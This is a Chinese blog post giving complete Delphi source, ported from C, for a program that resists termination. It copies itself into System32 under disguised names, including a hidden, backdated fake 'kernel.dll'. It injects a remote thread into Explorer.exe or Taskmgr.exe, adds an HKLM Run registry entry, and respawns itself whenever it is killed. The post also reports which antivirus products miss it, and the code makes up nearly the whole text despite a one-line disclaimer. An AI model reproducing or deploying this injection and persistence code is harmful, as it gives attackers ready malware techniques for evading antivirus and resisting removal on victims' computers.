一个利用线程注入进行互相监控而防止程序被终止的程序

本文介绍了一段使用Delphi编写的代码,该代码能够自我复制并注入其他进程,旨在展示其如何被不同杀毒软件识别。文章通过实例展示了代码的工作原理,并提供了针对多种杀毒软件的测试结果。

 以下程序非本人原创,原为C代码,俺代为改成Delphi代码,并做了部分杀毒软件的测试.结果如下:(均为默认设置)

Nod32    未扫出危险代码; 运行后未报警

卡吧      未扫出危险代码;    运行后报警

McAfee  未扫出危险代码; 运行后未报警

小红伞  扫出危险代码; 运行后报警

 

 

代码如下:(仅供参考,不要用在病毒,木马程序上!)

 

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,PSAPI, StdCtrls,Registry;

type
  PRemoteParameter = ^TRemoteParameter;
  TRemoteParameter = record
    pOutputDebugString  : DWORD;
    pOpenprocess        : DWORD;
    pWaitForSingleObject: DWORD;
    pFindFirstFile      : DWORD;
    pCopyFile           : DWORD;
    pFindClose          : DWORD;
    pWinExeC            : DWORD;

    pRemotePid           : DWORD;
    pProcessHandle      : THANDLE;
    pFileHandle         : THANDLE;
    pTName              : array[0..MAX_PATH] of char;
    pKName              : array[0..MAX_PATH] of char;
    pWinexecName        : array[0..MAX_PATH] of char;
    pFData              : WIN32_FIND_DATA;

    pOpError            : array[0..59] of char;
    pFffError           : array[0..59] of char;
    pCfError            : array[0..59] of char;
    pFcError            : array[0..59] of char;
    pWeError            : array[0..59] of char;
    pString             : array[0..59] of char;
    pWfsoSignal         : array[0..59] of char;
  end;

  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

const Name1 = '/Test.exe';
const Name2 = '/kernel.dll';

var
  Form1: TForm1;
  wThread : THandle;

procedure Doaction;
function CreateRemote(tName: PChar; kName: PChar): THandle;
function remote(pvParam:pointer):integer;stdcall;
function watch(pvParam: Pointer): integer;stdcall;

type

 EOutputDebugString = procedure(p : PChar); stdcall;
 EOpenProcess = function(p1: DWORD; p2: Boolean; p3: DWORD):THandle; stdcall;
 EWaitForSingleObject = function(p1: THandle; p2: DWORD):DWORD;stdcall;
 EFindFirstFile = function(p1:PChar;p2: PWin32FindData):THandle;stdcall;
 ECopyFile = function(p1:PChar; p2: PChar; p3: Boolean):Boolean;stdcall;
 EFindClose = function(p:Thandle):Boolean;stdcall;
 EWinExec = function(p1:PChar;p2:Cardinal):Cardinal;stdcall;

implementation

{$R *.dfm}


   
function StringToWideStringEx(const S: string; CodePage: Word): WideString;
var InputLength,
    OutputLength: Integer;
begin
  InputLength := Length(S);
  OutputLength := MultiByteToWideChar(CodePage, 0, PChar(S), InputLength, nil, 0);
  SetLength(Result, OutputLength);
  MultiByteToWideChar(CodePage, 0, PChar(S), InputLength, PWideChar(Result), OutputLength);
end;

function WideStringToStringEx(const WS: WideString; CodePage: Word): string;
var
  InputLength,
  OutputLength: Integer;
begin
  InputLength := Length(WS);
  OutputLength := WideCharToMultiByte(CodePage, 0, PWideChar(WS), InputLength, nil, 0, nil, nil);
  SetLength(Result, OutputLength);
  WideCharToMultiByte(CodePage, 0, PWideChar(WS), InputLength, PChar(Result), OutputLength, nil, nil);
end;

Function StringToUnicode(S:String):WideString;
begin
 Result:=StringToWideStringEx(S,GetACP);
end;

Function UnicodeToString(S:WideString):string;
begin
  Result:=WideStringToStringEx(S,GetACP);
end;


procedure DoAction;
var
 fData : WIN32_FIND_DATA;
 ffHandle : THandle;
 fcHandle : THandle;
 sTime    : SYSTEMTIME;
 fTime    : FILETIME;
 sysPath  : array[0..MAX_PATH-1] of char;
 curName  : array[0..MAX_PATH-1] of char;
 tName    : array[0..MAX_PATH-1] of char;
 kName    : array[0..MAX_PATH-1] of char;
 ret      : integer;
 rThread  : THandle;
 aHwnd    : HWND;
 rt       : TRect;
 ptNew    : TPoint;
 title    : array[0..MAX_PATH-1] of char;
 wp       : WINDOWPLACEMENT;
 aThreadId: Cardinal;
begin
  // 获取System32目录的路径
  // tName =  System32/T-Mouse.exe; kName = System32/Kernel.dll
  ret := GetSystemDirectory(syspath,MAX_PATH);
  if ret = 0 then
  begin
    OutputDebugString('GetSystemDirectory Error'+#13#10);
    exit;
  end;
  strlcopy(tName,sysPath,strlen(sysPath));
  strCat(tName,Name1);
  strlCopy(kName,SysPath,strlen(SysPath));
  strCat(kName,Name2);

  ffHandle := FindFirstFile(tName,fData);   // 查找Test.exe
  if(ffHandle=INVALID_HANDLE_VALUE) then
  begin
    if GetLastError =  ERROR_FILE_NOT_FOUND then  // 如果不存在,则复制当前文件为System32/Test.exe
    begin
      ret := GetModuleFileName(0,curName,MAX_PATH);
      if ret = 0 then
      begin
        OutputDebugString('GetModuleFileName Error'+#13#10);
        exit;
      end;
      if not CopyFIle(curName,tName,true) then
      begin
        OutputDebugString('CopyFile Error'+#13#10);
        exit;
      end;
    end
    else
    begin
      OutputDebugString('FindFirstFile Error'+#13#10);
      exit;
    end;
  end
  else
  begin
    if not Windows.FindClose(ffHandle) then
    begin
      OutputDebugString('FindClose Error!'+#13#10);
      exit;
    end;
  end;
  ffHandle := FindFirstFile(kName,fData); // 查找Kernel.dll
  if ffHandle = INVALID_HANDLE_VALUE then
  begin
    if GetLastError =  ERROR_FILE_NOT_FOUND  then  // 如果不存在,则复制当前文件为System32/Kernel.dll
    begin
      ret := GetModuleFileName(0,curName,MAX_PATH);
      if ret = 0 then
      begin
        OutputDebugString('GetModuleFileName Error'+#13#10);
        exit;
      end;
      if not CopyFile(curName,kName,true) then
      begin
        OutputDebugString('CopyFile Error'+#13#10);
        exit;
      end;
      // 修改System32/Kernel.dll的属性为隐藏和系统及它的时间
      fcHandle := CreateFile(kName,GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
      if fcHandle = INVALID_HANDLE_VALUE then
      begin
        OutputDebugString('CreateFile Error'+#13#10);
        exit;
      end;
      fillchar(sTime,sizeof(sTime),0);
      stime.wYear := 2002;
      stime.wMonth := 1;
      stime.wDay := 12;
      stime.wDayOfWeek := 5;
      stime.wHour := 1;
      if not SystemTImeToFileTime(sTime,fTime) then
      begin
        OutputDebugString('SystemTimeToFileTIme Error'+#13#10);
        CloseHandle(fcHandle);
        exit;
      end;
      if not SetFileTime(fcHandle,@fTime,nil,@fTime) then
      begin
        OutputDebugString('SetFileTime Error'+#13#10);
        exit;
      end;
      if not SetFileAttributes(kName,FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM) then
      begin
        OutputDebugString('SetFileAttributes Error'+#13#10);
        CloseHandle(fcHandle);
        exit;
      end;
      CloseHandle(fcHandle);
    end
    else
    begin
      OutputDebugString('FindFirstFile Error'+#13#10);
      exit;
    end;
  end
  else if not Windows.FindClose(ffHandle) then
  begin
    OutputDebugString('FindClose Error'+#13#10);
    exit;
  end;

  rThread := CreateRemote(tName,kName); // 远程注入线程到Exporer.exe 或 mgrtask.exe
  if rthread = 0 then
  begin
    OutputDebugString('CreateRemote Error'+#13#10);
    exit;
  end;
  // 创建一监视线程,监视远程注入的线程有没有在运行。
  wThread := CreateThread(nil,0,@watch,@rThread,0,aThreadId);
  if wThread = 0 then
  begin
    OutputDebugString('CreateThread Error'+#13#10);
    CloseHandle(rThread);
    exit;
  end;
end;

 

function ProcessToPid(ProcessName: string):integer;
var
 pidProcesses : array[0..1023] of DWORD;
 cb,cbNeeded  : DWORD;
 cProcesses   : DWORD;
 hProcess     : THANDLE;
 hModule      : THANDLE;
 i            : integer;
 normalName   : array[0..1023] of char;
begin
 cb := sizeof(pidProcesses);
 fillchar(normalName,sizeof(normalName),0);
 result := -1;
 if not EnumProcesses(@pidProcesses[0],cb,cbNeeded) then
 begin
   exit;
 end;
 cProcesses := cbNeeded div sizeof(DWORD);
 for i := 0 to cProcesses - 1 do
 begin
   hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,FALSE,pidProcesses[i]);
   if hProcess <> 0 then
   begin
     if(EnumProcessModules(hProcess,@hModule,sizeof(hModule),cbNeeded)) then
     begin
       GetModuleBaseName(hProcess,hModule,normalName,sizeof(normalName));
       if compareText(ProcessName,string(normalName)) = 0 then
       begin
         result := pidProcesses[i];
         closeHandle(hProcess);
         exit;
       end;
      end;
   end;

 end;

end;


function CreateRemote(tName: PChar; kName: PChar): THandle;
var
 eThread : THandle;
 pHandle : THandle;
 aName : array[0..1,0..14] of char;
 remoteThr : PChar;
 remotePar : PChar;
 remotePid : DWORD;
 cb        : integer;
 signal    : integer;
 hKernel32 : THandle;
 rp        : TRemoteParameter;
 cbByte    : DWORD;
 threadid  : DWORD;
 temp      : widestring;
begin
 strcopy(aName[0],'Explorer.exe');
 strcopy(aName[1],'Taskmgr.exe');
 signal := 1;
 while(true) do
 begin
   signal := signal + 1;
   remotePid := ProcessToPid(aName[(signal mod 2)]);  //循环获取两个文件的PID
   if remotePid =  -1 then
   begin
     result := 0;
     exit;
   end
   else
   begin
     if remotePid = 0 then
     begin
       if (signal mod 2)=0 then
       begin
         OutputDebugString('Remote process Explorer isn''t running!'+#13#10);
       end
       else
       begin
         OutputDebugString('Remote process Taskmgr isn''t running!'+#13#10);
       end;
       sleep(1000);
       continue;
     end;
     pHandle := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,False,remotePid);
     if pHandle=0 then
     begin
       sleep(1000);
       continue;
     end
     else
     begin
       break;
     end;
   end;
 end;
 cb := sizeof(char) * 4 * 1024; // 申请4K内存
 remotethr := virtualAllocEx(pHandle,nil,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
 if remotethr = nil then
 begin
   OutputDebugString('VirtualAllocEx for Thread error!'+#13#10);
   closehandle(pHandle);
   exit;
 end;
 // 远程注入列程
 if not WriteProcessMemory(pHandle,remotethr,@remote,cb,cbByte) then
 begin
   OutputDebugString('WritePRocessMemory for thread error!'+#13#10);
   closehandle(pHandle);
   exit;
 end;

 fillchar(rp,0,sizeof(rp));
 rp.pRemotePid := GetCurrentProcessId;
 temp := StringToUnicode('i am in remote process'+#13#10);
 copymemory(@rp.pString[0], @temp[1],length('i am in remote process'+#13#10)*2);
 temp := StringToUnicode('CopyFile error'+#13#10);
 copymemory(@rp.pCfError[0], @temp[1],length('CopyFile error'+#13#100)*2);
 temp := StringToUnicode('FindClose error'+#13#10);
 copymemory(@rp.pFcError[0], @temp[1],length('FindClose error'+#13#10)*2);
 temp := StringToUnicode('FindFirstFile error'+#13#10);
 copymemory(@rp.pFffError[0], @temp[1],length('FindFirstFile error'+#13#10)*2);
 temp := StringToUnicode('OpenProcess error'+#13#10);
 copymemory(@rp.pOpError[0], @temp[1],length('OpenProcess error'+#13#10)*2);
 temp := StringToUnicode('WinExec error'+#13#10);
 copymemory(@rp.pWeError[0], @temp[1],length('WinExec error'+#13#10)*2);
 temp := StringToUnicode('i am out of remote process'+#13#10);
 copymemory(@rp.pWfsoSignal[0], @temp[1],length('i am out of remote process'+#13#10)*2);

 temp := StringToUnicode(string(tName));
 copymemory(@rp.pTName[0],@temp[1],length(tName)*2);
 temp := StringToUnicode(string(kName));
 copymemory(@rp.pKName[0],@temp[1],length(kName)*2);

 temp := StringToUnicode(string(tName));
 WideCharToMultiByte(GetACP,0,@temp[1],-1,rp.pWinexecName,strlen(tName),nil,nil);

 hKernel32 := GetModuleHandle(PChar('Kernel32.dll'));
 rp.pOutputDebugString := DWORD(GetProcAddress(hKernel32,'OutputDebugStringW'));
 rp.pOpenprocess := DWORD(GetProcAddress(hKernel32,'OpenProcess'));
 rp.pWaitForSingleObject := DWORD(GetProcAddress(hKernel32,'WaitForSingleObject'));
 rp.pFindFirstFile := DWORD(GetProcAddress(hKernel32,'FindFirstFileW'));
 rp.pCopyFile := DWORD(GetProcAddress(hKernel32,'CopyFileW'));
 rp.pFindClose := DWORD(GetProcAddress(hKernel32,'FindClose'));
 rp.pWinExeC := DWORD(GetProcAddress(hKernel32,'WinExec'));

 cb := sizeof(char) * sizeof(rp);
 remotepar := virtualAllocEx(pHandle,nil,cb,MEM_COMMIT, PAGE_READWRITE);
 if remotepar = nil then
 begin
    OutputDebugString(PChar(StringToUnicode('VirtualAllocEx for parameter error'+#13#10)));
    closehandle(pHandle);
    result := 0;
    exit;
 end;
 // 远程注入一个结构,把一些要调用的数据传递过去
 if not WriteProcessMemory(pHandle,remotepar,@rp,cb,cbByte) then
 begin
   OutputDebugString(PChar(StringToUnicode('WriteProcessMemory for paramter error'+#13#10)));
   closehandle(pHandle);
   result:= 0;
   exit;
 end;
 //启动远程线程
 eThread := CreateRemoteThread(pHandle,nil,0,remotethr,remotepar,0,threadid);
 if eThread = 0 then
 begin
   OutputDebugString(PChar(StringToUnicode('CreateRemoteThread error'+#13#10)));
   closehandle(pHandle);
   result:= 0;
   exit;
 end;
 result := eThread;
end;

function watch(pvParam: Pointer): integer;stdcall;
var
 weThread : THandle;
 exitcode : DWORD;
 sName    : array[0..MAX_PATH-1] of char;
 wtName   : array[0..MAX_PATH-1] of char;
 wkName   : array[0..MAX_PATH-1] of char;
 lpData   : array[0..MAX_PATH-1] of char;
 rgsPath  : string;
 aType    : DWORD;
 dwBufLen : DWORD;
 ret      : integer;
 reg      : TRegistry;
 aKey     : HKEY;
begin
  weThread := DWORD(pvParam);
  rgsPath := 'software/microsoft/windows/currentversion/run';
  aType := REG_SZ;
  dwBufLen := MAX_PATH;
  if GetSystemDirectory(sName,MAX_PATH)=0 then
  begin
   OutputDebugString('GetSystemDirectory in watch Error'+#13#10);
   result := -1;
   exit;
  end;
  strlcopy(wtName,sName,strlen(sName));
  strcat(wtName,Name1);
  strlcopy(wkName,sName,strlen(sName));
  strcat(wkName,Name2);
  while(true)do
  begin

    ret := RegOpenKeyEx(HKEY_LOCAL_MACHINE,PChar(rgsPath),0,KEY_QUERY_VALUE,aKey);
    if ret <> ERROR_SUCCESS then
    begin
      OutputDebugString('RegOpenKeyEx for KEY_QUERY_VALUE Error'+#13#10);
      break;
    end;
    dwBufLen := MAX_PATH;
    ret := RegQueryValueEx(aKey,'Test',nil,nil,@lpData[0],@dwBufLen);
    RegCloseKey(aKey);
    if ret<>ERROR_SUCCESS then
    begin
      ret := RegOpenKeyEx(HKEY_LOCAL_MACHINE,PChar(rgsPath),0,KEY_WRITE,aKey);
      if ret <> ERROR_SUCCESS then
      begin
        OutputDebugString('RegOpenKeyEx For KEY_WRITE Error'+#13#10);
        break;
      end;
      ret := RegSetValueEx(aKey,'Test',0,aType,@wtName[0],dwBufLen);
      RegCloseKey(aKey);
      if ret<> ERROR_SUCCESS then
      begin
        OutputDebugString('RegSetValueEx Error'+#13#10);
        break;
      end;
    end;
    GetExitCodeThread(weThread,exitCode);
    if exitCode = STILL_ACTIVE then
     weThread := createRemote(wtName,wkName);
    sleep(1000);
  end;
  result:=0;
end;

function remote(pvParam: pointer):integer;stdcall;
var
 erp : PRemoteParameter;
 tOutputDebugString: EOutputDebugString;
 tOpenProcess      : EOPenProcess;
 tWaitForSingleObject: EWaitForSingleObject;
 tFindFirstFile      : EFindFirstFile;
 tCopyFIle           : ECOpyFIle;
 tFIndClose          : EFindClose;
 tWinExec            : EWinExec;

begin
 erp := PRemoteParameter(pvParam);
 tOutputDebugString := EOutputDebugString(erp.pOutputDebugString);
 tOpenProcess       := EOpenProcess(erp.pOpenprocess);
 tWaitForSingleObject:= EWaitForSingleObject(erp.pWaitForSingleObject);
 tFIndFirstFile      := EFindFirstFile(erp.pFindFirstFile);
 tCopyFile           := ECopyFile(erp.pCopyFile);
 tFindClose          := EFindClose(erp.pFindClose);
 tWinExec            := EWinExec(erp.pWinExeC);
 tOutputDebugString(erp.pString);
 erp.pProcessHandle := tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp.pRemotePid);
 if erp.pProcessHandle = 0 then
 begin
   tOutputDebugString(erp.pOpError);
   result := -1;
   exit;
 end;
 tWaitForSingleObject(erp.pProcessHandle,INFINITE);
 tOutputDebugString(erp.pWfsoSignal); //i am out of remote process
 //查找System32/Test.exe存在不存在
 erp.pFileHandle := tFindFirstFile(erp.pTName,@erp.pFData);
 if erp.pFileHandle = INVALID_HANDLE_VALUE then
 begin
   tOutputDebugString(erp.pFffError);
   // 不存在,则将System32/Kernel.dll拷贝为Test.exe
   if not tCopyFile(erp.pKName,erp.pTName,true) then
   begin
     tOutputDebugString(erp.pCfError);
     result := -1;
     exit;
   end;
 end;
 if not tFindClose(erp.pFileHandle) then
 begin
   tOutputDebugString(erp.pFcError);
   result := -1;
   exit;
 end;
 // 然后运行Test.exe
 if(tWinExec(erp.pWinexecName,0)<=31) then
 begin
   tOutputDebugString(erp.pWeError);
   result := -1;
   exit;
 end;
 result := 0;

end;

procedure TForm1.Button1Click(Sender: TObject);
var
 sName    : array[0..MAX_PATH-1] of char;
 wtName   : array[0..MAX_PATH-1] of char;
 wkName   : array[0..MAX_PATH-1] of char;
 lpData   : array[0..MAX_PATH-1] of char;
begin
  if GetSystemDirectory(sName,MAX_PATH)=0 then
  begin
   exit;
  end;
  strlcopy(wtName,sName,strlen(sName));
  strcat(wtName,Name1);
  strlcopy(wkName,sName,strlen(sName));
  strcat(wkName,Name2);
  showmessage(string(wtName) + ';' + string(wkName));
end;

procedure TForm1.Button2Click(Sender: TObject);
var
 exitCode : Cardinal;
begin
 TerminateThread(wThread,exitCode);
 showmessage('1.监视线程已经被结束,请删除注册表的相应启动项Test.exe,然后注销后再登陆!'+#13#10+
             '2.然后到System32目录下删除Test.exe和Kernel.dll!');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 doAction;
end;

end.

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值